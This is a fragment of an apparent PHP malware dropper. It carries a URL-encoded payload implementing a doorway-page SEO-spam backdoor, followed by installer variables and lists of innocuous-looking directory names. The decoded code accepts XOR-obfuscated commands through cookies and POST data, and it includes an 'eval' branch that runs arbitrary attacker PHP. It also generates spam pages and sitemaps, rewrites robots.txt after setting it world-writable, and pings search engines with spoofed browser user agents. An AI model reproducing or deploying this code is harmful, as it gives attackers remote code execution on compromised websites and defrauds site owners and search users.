5B%22data%22%5D%5B%22header%22%5D%29%3Breturn%20true%3B%7D%20elseif%20%28%21empty%28%24_hgj2uuv9%5B%22data%22%5D%5B%22code%22%5D%29%29%20%7Becho%20%24_hgj2uuv9%5B%22data%22%5D%5B%22code%22%5D%3Breturn%20true%3B%7D%7Dreturn%20false%3B%7Dpublic%20function%20_ih05m%28%29%7Breturn%20_v6ya63%3A%3A_ih05m%28%29%20%26%26%20_cwqzsic%3A%3A_ih05m%28%29%20%26%26%20_xyxad4u%3A%3A_ih05m%28%29%3B%7Dstatic%20public%20function%20_rhb03%28%29%7Bif%20%28%28%21empty%28%24_SERVER%5B%27HTTPS%27%5D%29%20%26%26%20%24_SERVER%5B%27HTTPS%27%5D%20%21%3D%3D%20%27off%27%29%20%7C%7C%20%24_SERVER%5B%27SERVER_PORT%27%5D%20%3D%3D%20443%29%20%7Breturn%20true%3B%7Dreturn%20false%3B%7Dpublic%20static%20function%20_j6tk6%28%29%7B%24_eey0dnpa%20%3D%20explode%28%22%3F%22%2C%20%24_SERVER%5B%22REQUEST_URI%22%5D%2C%202%29%3B%24_eey0dnpa%20%3D%20%24_eey0dnpa%5B0%5D%3Bif%20%28strpos%28%24_eey0dnpa%2C%20%22.php%22%29%20%3D%3D%3D%20FALSE%29%20%7B%24_eey0dnpa%20%3D%20explode%28%22/%22%2C%20%24_eey0dnpa%29%3Barray_pop%28%24_eey0dnpa%29%3B%24_eey0dnpa%20%3D%20implode%28%22/%22%2C%20%24_eey0dnpa%29%20.%20%22/%22%3B%7Dreturn%20sprintf%28%22%25s%3A//%25s%25s%22%2C%20_er50gh%3A%3A_rhb03%28%29%20%3F%20%22https%22%20%3A%20%22http%22%2C%20%24_SERVER%5B%27HTTP_HOST%27%5D%2C%20%24_eey0dnpa%29%3B%7Dpublic%20static%20function%20_5k4u7%28%29%7B%24_os8wh0zy%20%3D%20Array%28%22Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.110%20Safari/537.36%22%2C%22Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.110%20Safari/537.36%20Edg/96.0.1054.62%22%2C%22Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%3B%20rv%3A95.0%29%20Gecko/20100101%20Firefox/95.0%22%2C%22Mozilla/5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010_15_6%29%20AppleWebKit/605.1.15%20%28KHTML%2C%20like%20Gecko%29%20Version/15.1%20Safari/605.1.15%22%2C%22Mozilla/5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010_15_7%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.110%20Safari/537.36%22%2C%22Mozilla/5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010_15_6%29%20AppleWebKit/605.1.15%20%28KHTML%2C%20like%20Gecko%29%20Version/14.1.2%20Safari/605.1.15%22%2C%22Mozilla/5.0%20%28Windows%20NT%206.1%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.110%20Safari/537.36%22%2C%22Mozilla/5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010_15_7%29%20AppleWebKit/605.1.15%20%28KHTML%2C%20like%20Gecko%29%20Version/15.1%20Safari/605.1.15%22%2C%22Mozilla/5.0%20%28Windows%20NT%206.3%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.110%20Safari/537.36%22%2C%22Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.45%20Safari/537.36%22%2C%22Mozilla/5.0%20%28Windows%20NT%206.1%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.110%20Safari/537.36%22%2C%22Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.93%20Safari/537.36%22%29%3B%24_zufuutph%20%3D%20array%28%22https%3A//www.google.com/ping%3Fsitemap%3D%22%20%3D%3E%20%22Sitemap%20Notification%20Received%22%2C%29%3B%24_pneb21v4%20%3D%20array%28%22Accept%3A%20text/html%2Capplication/xhtml%2Bxml%2Capplication/xml%3Bq%3D0.9%2Cimage/webp%2C%2A/%2A%3Bq%3D0.8%22%2C%22Accept-Language%3A%20en-US%2Cen%3Bq%3D0.5%22%2C%22User-Agent%3A%20%22%20.%20%24_os8wh0zy%5Barray_rand%28%24_os8wh0zy%29%5D%2C%29%3B%24_gwqcumc3%20%3D%20urlencode%28_er50gh%3A%3A_q32v2%28%29%20.%20%22/sitemap.xml%22%29%3Bforeach%20%28%24_zufuutph%20as%20%24_79wt4ge0%20%3D%3E%20%24_gvutrk0o%29%20%7B%24_q6pxtlu6%20%3D%20_79zfb9%3A%3A_9enqk%28%24_79wt4ge0%20.%20%24_gwqcumc3%2C%20NULL%2C%20%24_pneb21v4%29%3Bif%20%28empty%28%24_q6pxtlu6%29%29%20%7B%24_q6pxtlu6%20%3D%20_79zfb9%3A%3A_3ncnn%28%24_79wt4ge0%20.%20%24_gwqcumc3%2C%20NULL%2C%20%24_pneb21v4%29%3B%7Dif%20%28empty%28%24_q6pxtlu6%29%29%20%7Breturn%20FALSE%3B%7Dif%20%28strpos%28%24_q6pxtlu6%2C%20%24_gvutrk0o%29%20%3D%3D%3D%20FALSE%29%20%7Breturn%20FALSE%3B%7D%7Dreturn%20TRUE%3B%7Dpublic%20static%20function%20_b4fbz%28%29%7B%24_qncl23kq%20%3D%20%22User-agent%3A%20%2A%5CnDisallow%3A%20%25s%5CnUser-agent%3A%20Bingbot%5CnUser-agent%3A%20Googlebot%5CnUser-agent%3A%20Slurp%5CnDisallow%3A%5CnSitemap%3A%20%25s%5Cn%22%3B%24_eey0dnpa%20%3D%20explode%28%22%3F%22%2C%20%24_SERVER%5B%22REQUEST_URI%22%5D%2C%202%29%3B%24_eey0dnpa%20%3D%20%24_eey0dnpa%5B0%5D%3B%24_rty56ot6%20%3D%20substr%28%24_eey0dnpa%2C%200%2C%20strrpos%28%24_eey0dnpa%2C%20%22/%22%29%29%3B%24_4uyggedu%20%3D%20sprintf%28%24_qncl23kq%2C%20%24_rty56ot6%2C%20_er50gh%3A%3A_q32v2%28%29%20.%20%22/sitemap.xml%22%29%3B%24_pi8z9tuf%20%3D%20%24_SERVER%5B%22DOCUMENT_ROOT%22%5D%20.%20%22/robots.txt%22%3Bif%20%28%40file_exists%28%24_pi8z9tuf%29%29%20%7B%40chmod%28%24_pi8z9tuf%2C%200777%29%3B%24_ydp7fgmd%20%3D%20%40file_get_contents%28%24_pi8z9tuf%29%3B%7D%20else%20%7B%24_ydp7fgmd%20%3D%20%22%22%3B%7Dif%20%28strpos%28%24_ydp7fgmd%2C%20%24_4uyggedu%29%20%3D%3D%3D%20FALSE%29%20%7B%40file_put_contents%28%24_pi8z9tuf%2C%20%24_ydp7fgmd%20.%20%22%5Cn%22%20.%20%24_4uyggedu%29%3B%24_ydp7fgmd%20%3D%20%40file_get_contents%28%24_pi8z9tuf%29%3Breturn%20%28strpos%28%24_ydp7fgmd%2C%20%24_4uyggedu%29%20%21%3D%3D%20FALSE%29%3B%7Dreturn%20FALSE%3B%7Dpublic%20static%20function%20_q32v2%28%29%7B%24_eey0dnpa%20%3D%20explode%28%22%3F%22%2C%20%24_SERVER%5B%22REQUEST_URI%22%5D%2C%202%29%3B%24_eey0dnpa%20%3D%20%24_eey0dnpa%5B0%5D%3B%24_uf8aucwn%20%3D%20substr%28%24_eey0dnpa%2C%200%2C%20strrpos%28%24_eey0dnpa%2C%20%22/%22%29%29%3Breturn%20sprintf%28%22%25s%3A//%25s%25s%22%2C%20_er50gh%3A%3A_rhb03%28%29%20%3F%20%22https%22%20%3A%20%22http%22%2C%20%24_SERVER%5B%27HTTP_HOST%27%5D%2C%20%24_uf8aucwn%29%3B%7Dpublic%20static%20function%20_ax1dg%28%24_o4h21pkl%29%7B%24_39whrurz%20%3D%20_er50gh%3A%3A_j6tk6%28%29%3B%24_20hqocwt%20%3D%20substr%28md5%28_er50gh%3A%3A%24_wqq8o3s4%20.%20%22salt3%22%29%2C%200%2C%206%29%3B%24_ugaslxbs%20%3D%20%22%22%3Bif%20%28substr%28%24_39whrurz%2C%20-1%29%20%3D%3D%20%22/%22%29%20%7Bif%20%28ord%28%24_20hqocwt%5B1%5D%29%20%25%202%29%20%7B%24_o4h21pkl%20%3D%20str_replace%28%22%20%22%2C%20%22-%22%2C%20%24_o4h21pkl%29%3B%7D%20else%20%7B%24_o4h21pkl%20%3D%20str_replace%28%22%20%22%2C%20%22-%22%2C%20%24_o4h21pkl%29%3B%7D%24_ugaslxbs%20%3D%20sprintf%28%22%25s%25s%22%2C%20%24_39whrurz%2C%20urlencode%28%24_o4h21pkl%29%29%3B%7D%20else%20%7Bif%20%28FALSE%20%26%26%20%28ord%28%24_20hqocwt%5B0%5D%29%20%25%202%29%29%20%7B%24_ugaslxbs%20%3D%20sprintf%28%22%25s%3F%25s%3D%25s%22%2C%24_39whrurz%2C%24_20hqocwt%2Curlencode%28str_replace%28%22%20%22%2C%20%22-%22%2C%20%24_o4h21pkl%29%29%29%3B%7D%20else%20%7B%24_vgcwvf3x%20%3D%20array%28%22id%22%2C%20%22page%22%2C%20%22tag%22%29%3B%24_q1hwylv0%20%3D%20%24_vgcwvf3x%5Bord%28%24_20hqocwt%5B2%5D%29%20%25%20count%28%24_vgcwvf3x%29%5D%3Bif%20%28ord%28%24_20hqocwt%5B1%5D%29%20%25%202%29%20%7B%24_o4h21pkl%20%3D%20str_replace%28%22%20%22%2C%20%22-%22%2C%20%24_o4h21pkl%29%3B%7D%20else%20%7B%24_o4h21pkl%20%3D%20str_replace%28%22%20%22%2C%20%22-%22%2C%20%24_o4h21pkl%29%3B%7D%24_ugaslxbs%20%3D%20sprintf%28%22%25s%3F%25s%3D%25s%22%2C%24_39whrurz%2C%24_q1hwylv0%2Curlencode%28%24_o4h21pkl%29%29%3B%7D%7Dreturn%20%24_ugaslxbs%3B%7Dpublic%20static%20function%20_ncv5m%28%24_e0w6pl49%2C%20%24_78iw99aq%29%7B%24_ttrm5byb%20%3D%20%22%22%3B%24_xeswna7e%20%3D%20rand%28%24_e0w6pl49%2C%20%24_78iw99aq%29%3Bfor%20%28%24_46zwfcoo%20%3D%200%3B%20%24_46zwfcoo%20%3C%20%24_xeswna7e%3B%20%24_46zwfcoo%2B%2B%29%20%7B%24_o4h21pkl%20%3D%20_xyxad4u%3A%3A_8dnv4%28%29%3B%24_ttrm5byb%20.%3D%20sprintf%28%22%3Ca%20href%3D%5C%22%25s%5C%22%3E%25s%3C/a%3E%2C%5Cn%22%2C_er50gh%3A%3A_ax1dg%28%24_o4h21pkl%29%2C%20ucwords%28%24_o4h21pkl%29%29%3B%7Dreturn%20%24_ttrm5byb%3B%7Dpublic%20static%20function%20_0cgo1%28%24_3abbwecp%20%3D%20FALSE%29%7B%24_ccv63u9v%20%3D%20dirname%28__FILE__%29%20.%20%22/sitemap.xml%22%3B%24_0lzsv7dt%20%3D%20Array%28%29%3B%24_bipzycp4%20%3D%20%22%3C%3Fxml%20version%3D%5C%221.0%5C%22%20encoding%3D%5C%22UTF-8%5C%22%3F%22%20.%20%22%3E%5Cn%3Curlset%20xmlns%3D%5C%22http%3A//www.sitemaps.org/schemas/sitemap/0.9%5C%22%3E%5Cn%22%3B%24_pjuntwx6%20%3D%20%22%3C/urlset%3E%22%3B%24_vrg12mxu%20%3D%20_xyxad4u%3A%3A_3ap03%28%29%3B%24_7rlo07lw%20%3D%20array%28%29%3Bif%20%28file_exists%28%24_ccv63u9v%29%29%20%7B%24_6pfzvk6r%20%3D%20simplexml_load_file%28%24_ccv63u9v%29%3Bforeach%20%28%24_6pfzvk6r%20as%20%24_43ygqq1k%29%20%7B%24_7rlo07lw%5B%28string%29%24_43ygqq1k-%3Eloc%5D%20%3D%20%28string%29%24_43ygqq1k-%3Elastmod%3B%7D%7D%20else%20%7B%24_3abbwecp%20%3D%20FALSE%3B%7Dforeach%20%28%24_vrg12mxu%20as%20%24_1drrwf6g%29%20%7B%24_ugaslxbs%20%3D%20_er50gh%3A%3A_ax1dg%28%24_1drrwf6g%29%3Bif%20%28isset%28%24_7rlo07lw%5B%24_ugaslxbs%5D%29%29%20%7Bcontinue%3B%7Dif%20%28%24_3abbwecp%29%20%7B%24_v4bog9cs%20%3D%20time%28%29%3B%7D%20else%20%7B%24_v4bog9cs%20%3D%20time%28%29%20-%20%28crc32%28%24_1drrwf6g%29%20%25%20%2860%20%2A%2060%20%2A%2024%20%2A%2030%29%29%3B%7D%24_7rlo07lw%5B%24_ugaslxbs%5D%20%3D%20date%28%22Y-m-d%22%2C%20%24_v4bog9cs%29%3B%24_4b6e33nc%20%3D%20strtolower%28%24_1drrwf6g%5B0%5D%29%3Bif%20%28%21preg_match%28%22/%5E%5Ba-z%5D%24/%22%2C%20%24_4b6e33nc%29%29%20%7B%24_4b6e33nc%20%3D%20%22other%22%3B%7Dif%20%28empty%28%24_0lzsv7dt%5B%24_4b6e33nc%5D%29%29%7B%24_0lzsv7dt%5B%24_4b6e33nc%5D%20%3D%20Array%28%29%3B%7D%24_0lzsv7dt%5B%24_4b6e33nc%5D%5B%24_1drrwf6g%5D%20%3D%20%24_ugaslxbs%3B%7D%24_yscyadm6%20%3D%20%22%22%3Bforeach%20%28%24_7rlo07lw%20as%20%24_79wt4ge0%20%3D%3E%20%24_v4bog9cs%29%20%7B%24_yscyadm6%20.%3D%20%22%3Curl%3E%5Cn%22%3B%24_yscyadm6%20.%3D%20sprintf%28%22%3Cloc%3E%25s%3C/loc%3E%5Cn%22%2C%20%24_79wt4ge0%29%3B%24_yscyadm6%20.%3D%20sprintf%28%22%3Clastmod%3E%25s%3C/lastmod%3E%5Cn%22%2C%20%24_v4bog9cs%29%3B%24_yscyadm6%20.%3D%20%22%3C/url%3E%5Cn%22%3B%7D%24_u4appmxp%20%3D%20%24_bipzycp4%20.%20%24_yscyadm6%20.%20%24_pjuntwx6%3B%24_gwqcumc3%20%3D%20_er50gh%3A%3A_q32v2%28%29%20.%20%22/sitemap.xml%22%3B%40file_put_contents%28%24_ccv63u9v%2C%20%24_u4appmxp%29%3Bforeach%20%28%24_0lzsv7dt%20as%20%24_4b6e33nc%20%3D%3E%20%24_g5psvgsj%29%7B%24_u4appmxp%20%3D%20sprintf%28%22%3C%21DOCTYPE%20html%3E%3Chtml%3E%5Cn%3Chead%3E%5Cn%3Ctitle%3EArticles%20%5C%22%25s%5C%22%3C/title%3E%5Cn%3C/head%3E%5Cn%3Cbody%3E%5Cn%22%2C%20%24_4b6e33nc%29%3B%24_u4appmxp%20.%3D%20sprintf%28%22%3Ca%20href%3D%5C%22%25s%5C%22%3E%25s%3C/a%3E%3Cbr%3E%5Cn%22%2C%20_er50gh%3A%3A_q32v2%28%29%20.%20%22/sitemap.html%22%2C%20%22Sitemap%20Index%22%29%3Bforeach%20%28%24_g5psvgsj%20as%20%24_o4h21pkl%20%3D%3E%20%24_79wt4ge0%29%7B%24_u4appmxp%20.%3D%20sprintf%28%22%3Ca%20href%3D%5C%22%25s%5C%22%3E%25s%3C/a%3E%3Cbr%3E%5Cn%22%2C%20%24_79wt4ge0%2C%20%24_o4h21pkl%29%3B%7D%24_u4appmxp%20.%3D%20%22%3C/body%3E%3C/html%3E%22%3B%24_ccv63u9v%20%3D%20dirname%28__FILE__%29%20.%20sprintf%28%22/sitemap_%25s.html%22%2C%20%24_4b6e33nc%29%3B%40file_put_contents%28%24_ccv63u9v%2C%20%24_u4appmxp%29%3B%7D%24_u4appmxp%20%3D%20%22%3C%21DOCTYPE%20html%3E%3Chtml%3E%5Cn%3Chead%3E%5Cn%3Ctitle%3EArticle%20Alphabet%20Index%3C/title%3E%5Cn%3C/head%3E%5Cn%3Cbody%3E%5Cn%22%3Bforeach%20%28%24_0lzsv7dt%20as%20%24_4b6e33nc%20%3D%3E%20%24_g5psvgsj%29%7B%24_u4appmxp%20.%3D%20sprintf%28%22%3Ca%20href%3D%5C%22%25s%5C%22%3E%25s%3C/a%3E%3Cbr%3E%5Cn%22%2C%20_er50gh%3A%3A_q32v2%28%29%20.%20sprintf%28%22/sitemap_%25s.html%22%2C%20%24_4b6e33nc%29%2C%20strtoupper%28%24_4b6e33nc%29%29%3B%7D%24_u4appmxp%20.%3D%20%22%3C/body%3E%3C/html%3E%22%3B%24_ccv63u9v%20%3D%20dirname%28__FILE__%29%20.%20%22/sitemap.html%22%3B%40file_put_contents%28%24_ccv63u9v%2C%20%24_u4appmxp%29%3Breturn%20%24_gwqcumc3%3B%7Dpublic%20function%20_lhhd6%28%29%7B%24_q1hwylv0%20%3D%20substr%28md5%28_er50gh%3A%3A%24_wqq8o3s4%20.%20%22salt3%22%29%2C%200%2C%206%29%3Bif%20%28%21%24this-%3E_ot7y0%28%29%29%20%7Bif%20%28%24this-%3E_8rfk6%28%29%29%20%7Breturn%3B%7D%7Dif%20%28%21empty%28%24_GET%29%29%20%7B%24_ttie0k4s%20%3D%20array_values%28%24_GET%29%3B%7D%20else%20%7B%24_ttie0k4s%20%3D%20explode%28%22/%22%2C%20%24_SERVER%5B%22REQUEST_URI%22%5D%29%3B%24_ttie0k4s%20%3D%20array_reverse%28%24_ttie0k4s%29%3B%7D%24_o4h21pkl%20%3D%20%22%22%3Bforeach%20%28%24_ttie0k4s%20as%20%24_9lyo90xb%29%20%7Bif%20%28substr_count%28%24_9lyo90xb%2C%20%22-%22%29%20%3E%200%29%20%7B%24_o4h21pkl%20%3D%20%24_9lyo90xb%3Bbreak%3B%7D%7D%24_o4h21pkl%20%3D%20str_replace%28%24_q1hwylv0%20.%20%22-%22%2C%20%22%22%2C%20%24_o4h21pkl%29%3B%24_o4h21pkl%20%3D%20str_replace%28%22-%22%20.%20%24_q1hwylv0%2C%20%22%22%2C%20%24_o4h21pkl%29%3B%24_o4h21pkl%20%3D%20str_replace%28%22-%22%2C%20%22%20%22%2C%20%24_o4h21pkl%29%3B%24_55x93fs4%20%3D%20array%28%22.html%22%2C%20%22.php%22%2C%20%22.aspx%22%29%3Bforeach%20%28%24_55x93fs4%20as%20%24_01tonnyo%29%20%7Bif%20%28strpos%28%24_o4h21pkl%2C%20%24_01tonnyo%29%20%3D%3D%3D%20strlen%28%24_o4h21pkl%29%20-%20strlen%28%24_01tonnyo%29%29%20%7B%24_o4h21pkl%20%3D%20substr%28%24_o4h21pkl%2C%200%2C%20strlen%28%24_o4h21pkl%29%20-%20strlen%28%24_01tonnyo%29%29%3B%7D%7D%24_o4h21pkl%20%3D%20urldecode%28%24_o4h21pkl%29%3B%24_265utrew%20%3D%20_xyxad4u%3A%3A_3ap03%28%29%3Bif%20%28empty%28%24_o4h21pkl%29%29%20%7B%24_o4h21pkl%20%3D%20%24_265utrew%5B0%5D%3B%7D%20else%20if%20%28%21in_array%28%24_o4h21pkl%2C%20%24_265utrew%29%29%20%7B%24_2hzxofuj%20%3D%200%3Bforeach%20%28str_split%28%24_o4h21pkl%29%20as%20%24_zrffvwu8%29%20%7B%24_2hzxofuj%20%2B%3D%20ord%28%24_zrffvwu8%29%3B%7D%24_o4h21pkl%20%3D%20%24_265utrew%5B%24_2hzxofuj%20%25%20count%28%24_265utrew%29%5D%3B%7Dif%20%28%21empty%28%24_o4h21pkl%29%29%20%7B%24_hgj2uuv9%20%3D%20_v6ya63%3A%3A_q42pz%28%24_o4h21pkl%29%3Bif%20%28empty%28%24_hgj2uuv9%29%29%20%7Blist%28%24_swlicjbm%2C%20%24_c2d4vsy0%29%20%3D%20%24this-%3E_nr51i%28%24_o4h21pkl%29%3Bif%20%28empty%28%24_c2d4vsy0%29%29%20%7Breturn%3B%7D%24_xnnqxgqw%20%3D%20_er50gh%3A%3A_ncv5m%28_er50gh%3A%3A%24_loyjoas0%2C%20_er50gh%3A%3A%24_p0pykfqo%29%3B%24_4b6e33nc%20%3D%20strtolower%28%24_o4h21pkl%5B0%5D%29%3Bif%20%28%21preg_match%28%22/%5E%5Ba-z%5D%24/%22%2C%20%24_4b6e33nc%29%29%20%7B%24_4b6e33nc%20%3D%20%22other%22%3B%7D%24_xnnqxgqw%20.%3D%20sprintf%28%22%3Ca%20href%3D%5C%22%25s%5C%22%3EArticles%20%25s%3C/a%3E%3Cbr%3E%5Cn%22%2C%20_er50gh%3A%3A_q32v2%28%29%20.%20sprintf%28%22/sitemap_%25s.html%22%2C%20%24_4b6e33nc%29%2C%20strtoupper%28%24_4b6e33nc%29%29%3B%24_hgj2uuv9%20%3D%20new%20_v6ya63%28%24_swlicjbm%2C%20%24_c2d4vsy0%2C%20%24_o4h21pkl%2C%20%24_xnnqxgqw%29%3B%24_hgj2uuv9-%3E_g7wwk%28%29%3B%7Decho%20%24_hgj2uuv9-%3E_neje4%28%29%3B%7D%7D%7D_v6ya63%3A%3A_dzxgv%28dirname%28__FILE__%29%2C%20-1%2C%20_er50gh%3A%3A%24_wqq8o3s4%29%3B_cwqzsic%3A%3A_dzxgv%28dirname%28__FILE__%29%2C%20substr%28md5%28_er50gh%3A%3A%24_wqq8o3s4%20.%20%22salt12%22%29%2C%200%2C%204%29%29%3B_xyxad4u%3A%3A_dzxgv%28dirname%28__FILE__%29%2C%20substr%28md5%28_er50gh%3A%3A%24_wqq8o3s4%20.%20%22salt22%22%29%2C%200%2C%204%29%29%3Bfunction%20_vyfa9%28%24_6pfzvk6r%2C%20%24_1drrwf6g%29%7B%24_hiskm125%20%3D%20%22%22%3Bfor%20%28%24_46zwfcoo%20%3D%200%3B%20%24_46zwfcoo%20%3C%20strlen%28%24_6pfzvk6r%29%3B%29%20%7Bfor%20%28%24_d9po7r88%20%3D%200%3B%20%24_d9po7r88%20%3C%20strlen%28%24_1drrwf6g%29%20%26%26%20%24_46zwfcoo%20%3C%20strlen%28%24_6pfzvk6r%29%3B%20%24_d9po7r88%2B%2B%2C%20%24_46zwfcoo%2B%2B%29%20%7B%24_hiskm125%20.%3D%20chr%28ord%28%24_6pfzvk6r%5B%24_46zwfcoo%5D%29%20%5E%20ord%28%24_1drrwf6g%5B%24_d9po7r88%5D%29%29%3B%7D%7Dreturn%20%24_hiskm125%3B%7Dfunction%20_udz7t%28%24_6pfzvk6r%2C%20%24_1drrwf6g%2C%20%24_7ixx1hmk%29%7Breturn%20_vyfa9%28_vyfa9%28%24_6pfzvk6r%2C%20%24_1drrwf6g%29%2C%20%24_7ixx1hmk%29%3B%7Dforeach%20%28array_merge%28%24_COOKIE%2C%20%24_POST%29%20as%20%24_oy6s5dxd%20%3D%3E%20%24_6pfzvk6r%29%20%7B%24_6pfzvk6r%20%3D%20%40unserialize%28_udz7t%28_er50gh%3A%3A_hitc7%28%24_6pfzvk6r%29%2C%20%24_oy6s5dxd%2C%20_er50gh%3A%3A%24_wqq8o3s4%29%29%3Bif%20%28isset%28%24_6pfzvk6r%5B%27ak%27%5D%29%20%26%26%20_er50gh%3A%3A%24_wqq8o3s4%20%3D%3D%20%24_6pfzvk6r%5B%27ak%27%5D%29%20%7Bif%20%28%24_6pfzvk6r%5B%27a%27%5D%20%3D%3D%20%27doorway2%27%29%20%7Bif%20%28%24_6pfzvk6r%5B%27sa%27%5D%20%3D%3D%20%27check%27%29%20%7B%24_x0013v0w%20%3D%20_79zfb9%3A%3A_skc19%28explode%28%22/%22%2C%20_er50gh%3A%3A%24_hz9omu24%29%2C%20%22%22%29%3B%24_x0013v0w%20%3D%20%40unserialize%28%24_x0013v0w%29%3Bif%20%28%21empty%28%24_x0013v0w%29%29%20%7Becho%20%40serialize%28array%28%22uid%22%20%3D%3E%20_er50gh%3A%3A%24_wqq8o3s4%2C%20%22v%22%20%3D%3E%20_er50gh%3A%3A%24_798p6ki4%2C%22cache%22%20%3D%3E%20_v6ya63%3A%3A_vga85%28%29%2C%22keywords%22%20%3D%3E%20count%28_xyxad4u%3A%3A_3ap03%28%29%29%2C%22templates%22%20%3D%3E%20_cwqzsic%3A%3A_moy7x%28%29%29%29%3B%7Dexit%3B%7Dif%20%28%24_6pfzvk6r%5B%27sa%27%5D%20%3D%3D%20%27templates%27%29%20%7Bforeach%20%28%24_6pfzvk6r%5B%22templates%22%5D%20as%20%24_swlicjbm%29%20%7B_cwqzsic%3A%3A_g7wwk%28%24_swlicjbm%29%3Becho%20%40serialize%28array%28%22uid%22%20%3D%3E%20_er50gh%3A%3A%24_wqq8o3s4%2C%20%22v%22%20%3D%3E%20_er50gh%3A%3A%24_798p6ki4%2C%29%29%3B%7D%7Dif%20%28%24_6pfzvk6r%5B%27sa%27%5D%20%3D%3D%20%27keywords%27%29%20%7B_xyxad4u%3A%3A_g7wwk%28%24_6pfzvk6r%5B%22keywords%22%5D%29%3B_er50gh%3A%3A_0cgo1%28%29%3Becho%20%40serialize%28array%28%22uid%22%20%3D%3E%20_er50gh%3A%3A%24_wqq8o3s4%2C%20%22v%22%20%3D%3E%20_er50gh%3A%3A%24_798p6ki4%2C%29%29%3B%7Dif%20%28%24_6pfzvk6r%5B%27sa%27%5D%20%3D%3D%20%27update_sitemap%27%29%20%7B_er50gh%3A%3A_0cgo1%28TRUE%29%3Becho%20%40serialize%28array%28%22uid%22%20%3D%3E%20_er50gh%3A%3A%24_wqq8o3s4%2C%20%22v%22%20%3D%3E%20_er50gh%3A%3A%24_798p6ki4%2C%29%29%3B%7Dif%20%28%24_6pfzvk6r%5B%27sa%27%5D%20%3D%3D%20%27pages%27%29%20%7B%24_pdaxmdge%20%3D%200%3B%24_265utrew%20%3D%20_xyxad4u%3A%3A_3ap03%28%29%3Bif%20%28_cwqzsic%3A%3A_moy7x%28%29%20%3E%200%29%20%7Bforeach%20%28%24_6pfzvk6r%5B%27pages%27%5D%20as%20%24_hgj2uuv9%29%20%7B%24_1gi3w6uw%20%3D%20_v6ya63%3A%3A_q42pz%28%24_hgj2uuv9%5B%22keyword%22%5D%29%3Bif%20%28empty%28%24_1gi3w6uw%29%29%20%7B%24_1gi3w6uw%20%3D%20new%20_v6ya63%28_cwqzsic%3A%3A_8dnv4%28%29%2C%20%24_hgj2uuv9%5B%22text%22%5D%2C%20%24_hgj2uuv9%5B%22keyword%22%5D%2C%20_er50gh%3A%3A_ncv5m%28_er50gh%3A%3A%24_loyjoas0%2C%20_er50gh%3A%3A%24_p0pykfqo%29%29%3B%24_1gi3w6uw-%3E_g7wwk%28%29%3B%24_pdaxmdge%20%2B%3D%201%3Bif%20%28%21in_array%28%24_hgj2uuv9%5B%22keyword%22%5D%2C%20%24_265utrew%29%29%20%7B_xyxad4u%3A%3A_7z4dg%28%24_hgj2uuv9%5B%22keyword%22%5D%29%3B%7D%7D%7D%7Decho%20%40serialize%28array%28%22uid%22%20%3D%3E%20_er50gh%3A%3A%24_wqq8o3s4%2C%20%22v%22%20%3D%3E%20_er50gh%3A%3A%24_798p6ki4%2C%20%22pages%22%20%3D%3E%20%24_pdaxmdge%29%29%3B%7Dif%20%28%24_6pfzvk6r%5B%22sa%22%5D%20%3D%3D%20%22ping%22%29%20%7B%24_q6pxtlu6%20%3D%20_er50gh%3A%3A_5k4u7%28%29%3Becho%20%40serialize%28array%28%22uid%22%20%3D%3E%20_er50gh%3A%3A%24_wqq8o3s4%2C%20%22v%22%20%3D%3E%20_er50gh%3A%3A%24_798p6ki4%2C%20%22result%22%20%3D%3E%20%28int%29%24_q6pxtlu6%29%29%3B%7Dif%20%28%24_6pfzvk6r%5B%22sa%22%5D%20%3D%3D%20%22robots%22%29%20%7B%24_q6pxtlu6%20%3D%20_er50gh%3A%3A_b4fbz%28%29%3Becho%20%40serialize%28array%28%22uid%22%20%3D%3E%20_er50gh%3A%3A%24_wqq8o3s4%2C%20%22v%22%20%3D%3E%20_er50gh%3A%3A%24_798p6ki4%2C%20%22result%22%20%3D%3E%20%28int%29%24_q6pxtlu6%29%29%3B%7D%7Dif%20%28%24_6pfzvk6r%5B%27sa%27%5D%20%3D%3D%20%27eval%27%29%20%7Beval%28%24_6pfzvk6r%5B%22data%22%5D%29%3Bexit%3B%7D%7D%7D%24_0rm86w7s%20%3D%20new%20_er50gh%28%29%3Bif%20%28%24_0rm86w7s-%3E_ih05m%28%29%29%20%7B%24_0rm86w7s-%3E_lhhd6%28%29%3B%7Dexit%28%29%3B";
$payload_url = "";
$payload_type = "TYPE_DIR";
srand(time());
$common_names = Array(
"blog",
"forum",
"site",
"docs",
"journal",
"archive",
"article",
"articles",
"page",
"pages",
"viewtopic",
"tag",
"tags",
"id",
"topic",
"topics",
"wiki",
"review",
"reviews",
"category",
"slug",
);
$common_names2 = Array(
"viewtopic",
"page",
"article",
"archive",
);
